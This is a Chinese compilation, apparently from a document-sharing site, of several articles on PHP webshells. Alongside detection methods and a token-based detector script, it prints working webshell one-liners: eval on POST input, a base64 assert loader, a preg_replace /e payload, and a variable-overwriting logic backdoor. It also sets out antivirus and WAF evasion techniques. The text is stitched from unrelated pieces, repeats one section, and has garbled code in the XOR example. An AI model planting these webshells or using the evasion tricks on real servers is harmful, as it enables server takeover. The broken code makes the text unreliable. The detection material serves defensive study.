常见的webshell检测方法及绕过思路
- 格式:docx
- 大小:21.58 KB
- 文档页数:12
webshell msf 提权方法
Webshell是一种可以用来执行命令的脚本,通常用于攻击者在受害者的服务器上执行恶意操作。
MSF(Metasploit Framework)是一种流行的渗透测试工具,可以用于执行各种攻击和提权操作。
以下是使用MSF进行Webshell提权的一般步骤:
1. 获取Webshell:首先,攻击者需要将Webshell上传到受害者的服务器上。
这可以通过多种方式完成,例如通过文件上传漏洞、利用Web应用程序漏洞或其他漏洞。
2. 扫描目标:一旦Webshell上传成功,攻击者可以使用MSF的扫描器来扫描目标服务器的漏洞和弱点。
这可以帮助攻击者确定哪些用户和系统具有潜在的提权机会。
3. 执行攻击:一旦攻击者确定了潜在的提权机会,他们可以使用MSF的各种攻击模块来尝试提权。
这可能包括利用系统漏洞、使用缓冲区溢出攻击、执行命令注入等。
4. 获取权限:如果攻击成功,攻击者将获得对目标服务器的权限。
这可能包括管理员权限或其他高权限。
需要注意的是,这些步骤只是一个一般性的概述,并且实际情况可能因目标系统和环境而异。
此外,使用这些技术进行非法活动是非法的,并且可能导致严重的法律后果。
因此,建议仅在合法和授权的情况下使用这些技术。
常用的渗透测试方法
1. 嘿,你知道漏洞扫描吗?就像拿着一个超级放大镜去寻找系统的弱点!比如对一个网站进行全面的漏洞扫描,看看哪里可能会被黑客钻空子。
2. 社会工程学可厉害了!这就好比是对人心理的巧妙操控呀!像装作是工作人员打电话套取重要信息这种。
3. 暴力破解懂不?就像是不断地尝试打开一把锁,直到找到正确的钥匙!比如说一直尝试各种密码组合来突破系统登录。
4. 缓冲区溢出,这可危险啦!就像水装得太满要溢出来一样,可能导致系统崩溃哦!比如在程序中输入大量数据导致它出问题。
5. 跨站脚本攻击,哎呀,这就像是在别人的地盘上搞小动作!比如在网页上注入恶意脚本影响用户。
6. 提权,这可是个关键步骤!就如同从普通士兵升级成将军,获取更高权限!像从普通用户变成管理员权限。
7. 嗅探,就像个偷偷摸摸的侦探一样!比如偷偷监听网络数据包获取重要信息。
8. 注入攻击,这可是很狡猾的手段!如同在系统的血管里注入“坏东西”!像在数据库查询中插入恶意代码。
9. 后门程序,这就像是留了个秘密通道!比如偷偷在系统里植入一
个方便自己随时进入的小程序。
10. 拒绝服务攻击,哇,这可太狠了!就像让一个地方陷入混乱无法正常运作!比如让一个网站因为大量请求而瘫痪。
原创不易,请尊重原创,谢谢!。
webshell的免杀⽬录构造法绕过检测(PHP)⼀般的检测程序会过滤这样”_POST”,”system”,”call_user_func_array”这样的字符,这个时候可以⽤构造法绕过⼀些检测程序.基本原理是,php每⼀个字符都对应了⼀个⼆进制的值,可以采⽤异或的⽅式,让马中的⼀个字符⽤两个字符异或后的值来代替。
⽐如像⼀下代码<?php@$++; // 这⾥++让’’⾃加1$=("#"^"|"); // _$=("."^"~"); // P$=("/"^"`"); // O$=("|"^"/"); // S$__=("{"^"/"); // T>然后构造与⼀句话可以写为<?php @$++;$=("#""|").(".""~").("/""`").("|""/").("{"^"/"); // $的值为POST@${$}!$_;?>// 结果为@$_POST0!$_表⽰1的相反,在语⾔⾥⾯1代表真,反过来就是0(假)但是这样的绕过⽅法相当弱,仔细想⼀下,就算是两个字符的⼆进制值异或,但是我们要⽤某个字符,还是应⽤那个字符的值,⽐如$__=("#""|").(".""~").("/""`").("|""/").("{"^"/")的⼆进制值与_POST字符的值⼀样的,要是检测程序会检测⼆进制码的值,还是会被杀掉。
webshell在kali中的用法和防范措施Webshell是一种黑客常用的工具,它可以通过在目标系统上上传并执行一段恶意代码,从而获得对目标系统的控制权。
在网络安全领域中,特别是在红队和渗透测试中,了解webshell的用法以及如何防范它是非常重要的。
首先,让我们了解一下webshell在Kali中的用法。
Kali Linux是一种广泛应用于渗透测试和网络安全研究的操作系统。
由于Kali Linux是专为渗透测试和安全评估而设计的,它提供了丰富的工具和资源来测试和攻击目标系统。
1. 上传webshell:在Kali Linux中,可以使用各种方式来上传webshell到目标系统。
常用的技术包括利用文件上传漏洞、钓鱼攻击和社交工程等。
通过这些方法,黑客可以将webshell文件上传到目标系统的可访问目录中,并通过Web服务器执行该文件。
2. 运行命令并执行操作:一旦成功上传webshell文件,黑客可以利用它来执行各种操作,例如列出目录、上传和下载文件、执行命令、创建用户和访问系统数据等。
webshell通常具有一个命令行界面,黑客可以使用它来与目标系统进行交互。
3. 接管系统控制权:通过webshell,黑客可以远程接管目标系统,并获得对操作系统的完全控制。
这使得黑客可以操纵目标系统,执行各种恶意操作,如数据窃取、破坏系统文件、安装后门等。
鉴于webshell的危害性,我们必须采取适当的防范措施来保护目标系统。
以下是一些防范webshell的常见措施:1. 定期更新和修补系统:保持目标系统的操作系统和应用程序更新可以减少webshell利用已知漏洞的风险。
及时修补已知漏洞是防止黑客利用这些漏洞上传webshell的有效方法。
2. 强化访问控制:合理配置系统的访问控制措施是防范webshell的关键。
限制web服务器上可执行的文件和目录的访问权限,仅允许合法用户执行必要的操作。
此外,还应对文件上传功能进行严格的用户验证和检查,以防止恶意文件上传。
webshell免杀思路(原创版)目录1.WebShell 的定义和作用2.WebShell 的传播方式3.WebShell 的免杀思路4.WebShell 免杀的实际应用5.总结正文一、WebShell 的定义和作用WebShell,全称 WebShell 后门,是指通过 Web 服务器运行的脚本,具有管理 Web 服务器和网站文件系统的功能。
WebShell 通常被黑客用于入侵和控制网站服务器,从而实现对网站的非法操作。
WebShell 可以实现对网站的文件上传、下载、删除、修改等操作,同时还可以监控网站的访问流量、窃取用户信息等。
二、WebShell 的传播方式WebShell 的传播方式主要有以下几种:1.通过 SQL 注入漏洞传播2.通过文件上传漏洞传播3.通过远程执行命令漏洞传播4.通过网站后台管理漏洞传播三、WebShell 的免杀思路免杀,是指绕过杀毒软件等安全防护软件的检测,使恶意代码能够顺利地在目标计算机上运行。
WebShell 免杀的主要思路有以下几种:1.代码混淆:通过对 WebShell 代码进行混淆,使得代码变得难以理解和分析,从而绕过杀毒软件的检测。
2.代码压缩:将 WebShell 代码进行压缩,从而减小代码体积,降低被杀毒软件扫描到的几率。
3.代码加密:对 WebShell 代码进行加密,使得杀毒软件难以识别其为恶意代码。
4.利用杀毒软件的白名单:通过加入杀毒软件的白名单,使 WebShell 在目标计算机上运行时不被杀毒软件阻止。
5.利用代理服务器:通过在 WebShell 中设置代理服务器,使得WebShell 与目标计算机之间的通信流量经过代理服务器,从而绕过杀毒软件的检测。
四、WebShell 免杀的实际应用在实际应用中,黑客通常会结合多种免杀方法,以提高 WebShell 的存活率。
例如,黑客可能会先对 WebShell 代码进行混淆和压缩,然后再加入杀毒软件的白名单,最后设置代理服务器,使得 WebShell 在目标计算机上运行时能够绕过杀毒软件的检测。
webshell检测⽅法归纳背景webshell就是以asp、php、jsp或者cgi等⽹页⽂件形式存在的⼀种命令执⾏环境,也可以将其称做为⼀种⽹页后门。
⿊客在⼊侵了⼀个⽹站后,通常会将asp或php后门⽂件与⽹站服务器WEB⽬录下正常的⽹页⽂件混在⼀起,然后就可以使⽤浏览器来访问asp或者php后门,得到⼀个命令执⾏环境,以达到控制⽹站服务器的⽬的。
webshell检测模型Webshell的运⾏流程:hacker -> HTTP Protocol -> Web Server -> CGI。
简单来看就是这样⼀个顺序:⿊客通过浏览器以HTTP协议访问Web Server上的⼀个CGI⽂件。
棘⼿的是,webshell就是⼀个合法的TCP连接,在TCP/IP的应⽤层之下没有任何特征(当然不是绝对的),只有在应⽤层进⾏检测。
⿊客⼊侵服务器,使⽤webshell,不管是传⽂件还是改⽂件,必然有⼀个⽂件会包含webshell代码,很容易想到从⽂件代码⼊⼿,这是静态特征检测;webshell运⾏后,B/S数据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。
静态检测静态检测通过匹配特征码,特征值,危险函数函数来查找webshell的⽅法,只能查找已知的webshell,并且误报率漏报率会⽐较⾼,但是如果规则完善,可以减低误报率,但是漏报率必定会有所提⾼。
优点是快速⽅便,对已知的webshell查找准确率⾼,部署⽅便,⼀个脚本就能搞定。
缺点漏报率、误报率⾼,⽆法查找0day型webshell,⽽且容易被绕过。
对于单站点的⽹站,⽤静态检测还是有很⼤好处,配合⼈⼯,能快速定位webshell,但是如果是⼀个成千上万站点的⼤型企业呢,这个时候再⼈⾁那⼯作量可就⼤了。
所以⽤这样⼀种思路:强弱特征。
即把特征码分为强弱两种特征,强特征命中则必是webshell;弱特征由⼈⼯去判断。
webshell排查思路【原创版】目录1.webshell 的定义和作用2.webshell 的排查思路3.排查 webshell 的方法和技巧4.预防和应对 webshell 攻击的措施正文一、webshell 的定义和作用WebShell,全称 Web 外壳,是指通过 Web 服务器运行的脚本或程序,可以对网站服务器进行管理和控制的一种工具。
WebShell 通常被黑客用于入侵和攻击网站,因为他们可以利用 WebShell 来执行任意的系统命令,窃取数据,或对网站服务器进行破坏。
二、webshell 的排查思路1.检查文件和目录黑客通常会将 WebShell 文件放置在网站的某个目录中,然后通过该文件来执行命令。
因此,我们需要检查网站的所有文件和目录,特别是那些可以执行脚本的目录。
2.检查文件的签名WebShell 文件通常会有特定的签名,例如,文件头、文件大小、文件类型等。
我们可以通过检查这些签名来判断文件是否为 WebShell。
3.检查网站的访问日志网站的访问日志会记录所有访问者的信息,包括 IP 地址、访问时间、访问的页面等。
我们可以通过检查访问日志,来确定是否有黑客访问过我们的网站。
三、排查 webshell 的方法和技巧1.使用 WebShell 检测工具市面上有许多 WebShell 检测工具,例如 WebShell Detector、WebShell Scanner 等。
这些工具可以帮助我们快速、准确地检测出WebShell。
2.手动检测对于一些复杂的 WebShell,可能需要手动检测。
我们可以通过查看网站的源代码,来检查是否有可疑的代码。
3.检查网站的文件修改日期WebShell 通常会在网站的文件中留下痕迹。
我们可以通过检查网站的文件修改日期,来确定是否有文件被黑客修改过。
四、预防和应对 webshell 攻击的措施1.定期备份网站数据定期备份网站数据,可以在网站受到攻击时,快速恢复网站的正常运行。
shell code免杀思路
免杀思路是指绕过杀毒软件或安全检测系统对Shell代码的检
测和阻止。
以下是一些常见的免杀思路:
1. 加密和混淆:使用加密算法对Shell代码进行加密,如
Base64编码、AES加密等,以使其难以被静态检测或者动态
分析。
2. 使用变形技术:对Shell代码进行变形,如字符串替换、大
小写转换、添加无关代码等,使其产生不同的哈希值,以绕过基于哈希的检测。
3. 嵌入有效载荷:将Shell代码嵌入合法的文件或者数据流中,如图片、文档、压缩文件等,以免被安全检测系统拦截或生成误报。
4. 利用漏洞:利用已被公开的、尚未修补的漏洞,通过对目标系统进行攻击,注入Shell代码,绕过安全检测。
5. 使用多个阶段:将整个攻击过程分解成多个阶段,每个阶段使用不同的Shell代码,以降低被检测和拦截的风险。
6. 免外部文件:在Shell代码中尽量避免依赖外部文件,如外
部脚本、工具等,以减少被安全检测系统拦截的风险。
在实际应用中,免杀思路的选择和实现方式取决于具体的安全环境和安全检测系统的特征。
为了保持最低的风险,建议在进行Shell代码免杀时同时考虑其他安全措施,如权限控制、入
侵检测系统等。
WAF绕过方法总结WAF(Web Application Firewall)是一种用于保护Web应用程序免受恶意攻击的安全设备。
它通过监控和过滤HTTP/HTTPS流量来检测和阻止潜在的攻击。
然而,WAF并不是完美的,攻击者可以使用各种技术和方法来绕过WAF的检测和阻止措施。
在本文中,我们将总结一些常见的WAF绕过方法。
1. 参数编码:攻击者可以对输入的参数进行编码,以使其绕过WAF的SQL注入、跨站脚本攻击(XSS)等检测。
常见的编码包括URL编码、Base64编码等。
WAF可能无法正确解码这些参数,并错过检测。
2. 关键字混淆:攻击者可以修改攻击载荷中的关键字,从而绕过WAF的检测。
例如,将SQL注入的关键字"union"改为"ununionion",WAF可能无法正确识别并拦截这个请求。
3.随机参数:攻击者可以通过在攻击请求中添加随机参数或乱序参数的方式绕过WAF的检测。
这样可以使WAF难以识别和匹配攻击规则,并降低检测的准确性。
4.HTTP协议绕过:攻击者可以使用HTTPS协议、非标准HTTP方法(如PROPFIND、OPTIONS等)或其他HTTP协议的特性来绕过WAF的检测。
WAF可能无法正确处理这些协议,从而漏过攻击。
5.黑名单绕过:WAF通常使用黑名单来识别和拦截攻击请求。
攻击者可以使用各种技术来绕过WAF的黑名单。
例如,使用大小写混合、字符替换(如使用数字0替换字母O)等方式修改攻击载荷,使其不再匹配黑名单规则。
6.延迟攻击:攻击者可以通过增加请求的响应时间来绕过WAF的检测。
这样可以使WAF超时或放弃对请求的处理,从而漏过攻击。
7.频率限制绕过:WAF通常会对单个IP地址或用户限制请求的频率,以防止暴力破解等攻击。
攻击者可以使用多个IP地址、代理服务器或分布式网络来绕过这些频率限制。
8. 高级恶意代码:攻击者可以使用较复杂的恶意代码组合来绕过WAF的检测。
webshell攻击原理Webshell攻击原理Webshell是一种通过在Web服务器上植入恶意脚本或代码来获取对服务器的控制权的技术手段。
攻击者可以利用Webshell来执行任意操作,包括获取敏感信息、修改数据、控制服务器等。
本文将从Webshell攻击的原理方面进行探讨。
一、Webshell的入侵方式Webshell的入侵方式主要有以下几种:1. 文件上传:攻击者通过上传可执行文件的方式将Webshell文件上传到服务器上,然后通过访问该文件来获取服务器的控制权。
2. 远程命令执行:攻击者通过利用Web应用程序的漏洞,注入恶意的代码或命令,从而执行任意操作。
3. 文件包含:攻击者通过利用Web应用程序的文件包含漏洞,将Webshell文件包含进来,从而获取服务器的控制权。
4. SQL注入:攻击者通过在Web应用程序的数据库查询语句中注入恶意代码,从而执行任意操作。
5. 代码执行:攻击者通过在Web应用程序中输入恶意代码,从而实现对服务器的控制。
二、Webshell的工作原理当Webshell文件成功上传到服务器或者通过其他方式植入到Web应用程序中后,攻击者可以通过访问该文件或执行相应的操作来获取服务器的控制权。
Webshell的工作原理如下:1. 与Web服务器建立连接:攻击者通过访问Webshell文件或者执行相应的操作,与Web服务器建立连接。
2. 执行命令:攻击者可以通过Webshell与服务器进行交互,执行各种命令,包括系统命令、数据库命令等。
3. 获取敏感信息:攻击者可以利用Webshell获取服务器上的敏感信息,如系统配置文件、数据库账号密码等。
4. 控制服务器:攻击者可以通过Webshell来控制服务器,如上传、下载、删除文件,修改文件权限等。
5. 持久化:攻击者可以通过Webshell在服务器上植入后门,以便长期控制服务器。
三、Webshell的防御方法为了有效防御Webshell攻击,我们可以采取以下措施:1. 输入过滤:对于用户输入的内容,进行严格的过滤和验证,避免恶意代码或命令的注入。
常见的webshell检测方法及绕过思路一句话webshell基本结构:<?php eval($_POST[‘a’]);?>两个步骤:数据的传递、执行所传递的数据数据的传递&绕过检测对于数据的传递,我们通常的做法是$_GET/$_POST/$_SERVER/$_COOKIE等获取客户端数据,但是这类关键词直接出现的话,可以很容易回溯到,我们有以下集中方案来解决:1.利用本身所在的框架2.利用变种:${“_G”.”ET”}。
不过这种不过这种方式也有自身的缺点,可以跟踪“${”;不过这种跟踪又可以通过“$/*a*/{”这种方式绕过(当然其又有被跟踪的可能性)。
3.使用其他数据获取方式来获取数据,譬如$_REQUEST、$GLOBALS[“_GET”]、$_FILE等。
4.人为构造语言缺陷或应用漏洞,并且这种缺陷是不易察觉的,譬如伪造管理员session等。
数据执行&绕过检测对于数据执行,我们通常使用的函数或方式有:eval、create_function、``、exec、preg_replace等。
当然这类关键词如果直接出现的话,我们的自动化webshell检测脚本可以很轻易的进行识别,目前看我们可以绕过检测的方案较少:1、通过$a()这种方式来执行函数。
不过这种方式也有自身规律在里面,有很多扫描器已经内置了“$.*($.*”这种规则,同样我们可以通过$a/*a*/()这种方式以及相应的变通方式来绕过。
(当然其又有被跟踪的可能性)2、尝试去找到不在黑名单中的函数,或者极其常见的函数。
两句话webshell$a = $_GET[‘a’];eval($a);这没有任何意义。
而是说采取一些方式,隐藏数据传递者和数据执行者。
这里简单举一个例子,譬如我们在a.php中插入了这样的代码,以便在必要时生成一个shell文件:file_put_contents(“/home/www/abc.txt”, str_rot13 (‘some code already encode’));然后我们在b.php中再实现一个数据执行者,最简单的莫过于:include “/home/www/abc.txt”;此外我们还可以使用virtual、php_check_syntax、array_filter、array_map、array_walk、call_user_func、preg_replace、usort等一般不在黑名单中的函数来绕过shell脚本检测,或者直接在应用代码中找上述的函数,看其所引用的变量是否可以稍加改变变成我们的数据提供者。
所以我们看出“两句话”与一句话webshell的最大的区别在于不构造新的数据执行者或者可以完全隐匿数据执行者(利用已有的代码逻辑等),仅通过变换或构造数据提供者的前提下完成shell的功能。
而$_GET、$_POST、$_SERVER、$_COOKIE、$_FILE、$_REQUEST、$GLOBALS[“_GET”]、$/*hello*/{"_G"."ET"}都是我们的数据传送者;file_get_contents、file、file_put_contents甚至print_r、unserialize都可以隐匿我们要传输的数据。
当然扫描代码隐患的工具(譬如Rips)肯定能够扫描到这些隐患,但是这类工具毕竟不是用于扫描webshell的,且误报率是相当的高。
当然如上的利用方式中还是少不了特殊的函数的存在的。
因此除此之外,我们可以尝试留下另一种后门:逻辑后门,譬如:<?phpforeach ($_GET as $key => $value) { //由攻击者添加$$key = $value;}// ... some codeif (logged_in() || $authenticated) { //原有逻辑// ... administration area}?>变种加密webshell:<?=($_=@$_GET[2]).@$_($_GET[1])?><?$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>还有从/上看到的N个webshell(/2011/09/ask-sucuri-what-about-the-backd oors.html):if (isset($_REQUEST['asc'])) eval(stripslashes($_REQUEST['asc']));wp__theme_icon=create_function(””,file_get_contents(‘/path/w p-content/themes/themename/images/void.jpg’));$wp__theme_icon();$auth_pass = “63a9f0ea7bb98050796b649e85481845″;$color = “#df5″;$default_action = “SQL”;$default_charset = “Windows-1251″;$protectionoffer = “ficken”;preg_replace(“/.*/e”,"\x65\x76\x61\x6C...");<?php $XKsyG=’as’;$RqoaUO=’e’;$ygDOEJ=$XZKsyG.’s’.$RqoaUO.’r’.’t’;$joEDdb=’b’.$XZKsyG.$RqoaUO.(64).’_’.’d’.$RqoaUO.’c’.’o’.’d’.$RqoaUO;@$ygDOEJ(@$joEDdb(‘ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lvYVhOelpY…还有某人发现的:$k = "{${phpinfo()}}";从上述的这些shell中我们已经能找到规律,虽然我们没有非常完善的办法定位数据传递这个步骤,但是我们能比较方便地找到数据执行的位置:“(”。
从我目前掌握的情况来看,一个数据执行(当然include这几个和“``”反引号执行另作考虑)的基本条件一定会包含这个小括号,如果哪位大牛有什么可以在代码中不使用小括号就可以达到代码执行的方法,请一定不吝赐教。
所以我们可以很容易的做出我们的webshell检测方法:使用token_get_all 将php代码打成token,然后找到每一个”(”,判断括号前面的数据是不是合法的即可。
至于如何判断合法,我们遵循一个原则:如果是空格、注释之类,则采取忽略方式(即continue,继续往前判断);如果是分支、条件判断或运算符,则我们认为是合法的;如果是字符串,并且在黑名单,我们认为是非法的,否则是合法的;如果不满足上述条件,我们先暂认为是非法的(通过此项不断完善我们的配置和算法)。
两句话webshell$a = $_GET[‘a’];eval($a);这没有任何意义。
而是说采取一些方式,隐藏数据传递者和数据执行者。
这里简单举一个例子,譬如我们在a.php中插入了这样的代码,以便在必要时生成一个shell文件:file_put_contents(“/home/www/abc.txt”, str_rot13 (‘some code already encode’));然后我们在b.php中再实现一个数据执行者,最简单的莫过于:include “/home/www/abc.txt”;此外我们还可以使用virtual、php_check_syntax、array_filter、array_map、array_walk、call_user_func、preg_replace、usort等一般不在黑名单中的函数来绕过shell脚本检测,或者直接在应用代码中找上述的函数,看其所引用的变量是否可以稍加改变变成我们的数据提供者。
所以我们看出“两句话”与一句话webshell的最大的区别在于不构造新的数据执行者或者可以完全隐匿数据执行者(利用已有的代码逻辑等),仅通过变换或构造数据提供者的前提下完成shell的功能。
而$_GET、$_POST、$_SERVER、$_COOKIE、$_FILE、$_REQUEST、$GLOBALS[“_GET”]、$/*hello*/{"_G"."ET"}都是我们的数据传送者;file_get_contents、file、file_put_contents甚至print_r、unserialize都可以隐匿我们要传输的数据。
当然扫描代码隐患的工具(譬如Rips)肯定能够扫描到这些隐患,但是这类工具毕竟不是用于扫描webshell的,且误报率是相当的高。
基于上述理论,我们实现我们的算法如下(其中部分代码做省略处理,如需完整代码,请见后面链接):<?phpfinal class Conf{public static $strict = false;//有可能有危害的函数public static $vul_func = array('create_function', 'eval', ... 'usort');public static $allow_chars = array('.','=',',','+','-','*','/','%','^','&','|','!',);//无危害的token类型public static $allow_type =array(T_AND_EQUAL,T_BOOLEAN_AND,...T_SWITCH);//需要被忽略的token类型public static $ignore_type =array(T_WHITESPACE,T_COMMENT,T_DOC_COMMENT,);}function check_callable($code){$token = token_get_all($code);$vul = array();$flag = false;for($i=0;$i<count($token);$i++){if(is_string($token[$i])){if($token[$i]=='('){$tmp = check_harmful($token,$i-1);//指向“(”之前if($tmp) $vul[] = $tmp;}if($token[$i]=='`'){$flag = $flag == true ? false : true;if($flag) $vul[] = $token[$i+1];}}}return $vul;}function check_harmful($token,$idx){for($i=$idx;$i>0;$i--){if(is_array($token[$i])){if(in_array($token[$i][1],Conf::$vul_func)) {if(Conf::$strict){//严格检验if(has_varparam($token,$idx+1)) return $token[$i];//从“(”开始return false;}return $token[$i];}if(in_array($token[$i][0],Conf::$ignore_type)) continue; if(in_array($token[$i][0],Conf::$allow_type)) return false; return $token[$i];//$a();}else{if(in_array($token[$i],Conf::$allow_chars)) return false; }}return false;}function has_varparam($token,$idx){$bracket = 0;for($i=$idx;$i<count($token);$i++){if(is_string($token[$i])){if($token[$i]=="(") $bracket ++;if($token[$i]==")") $bracket --;}else{if($token[$i][0]==T_VARIABLE) return true; }if($bracket===0) return false;}return false;}function _main(){$code = file_get_contents("shell.php"); $vuls = check_callable($code);var_dump($vuls);}_main();?>在不考虑误报率仅考虑覆盖率的情况下,上述代码对之前所描述的webshell的覆盖率几乎是100%。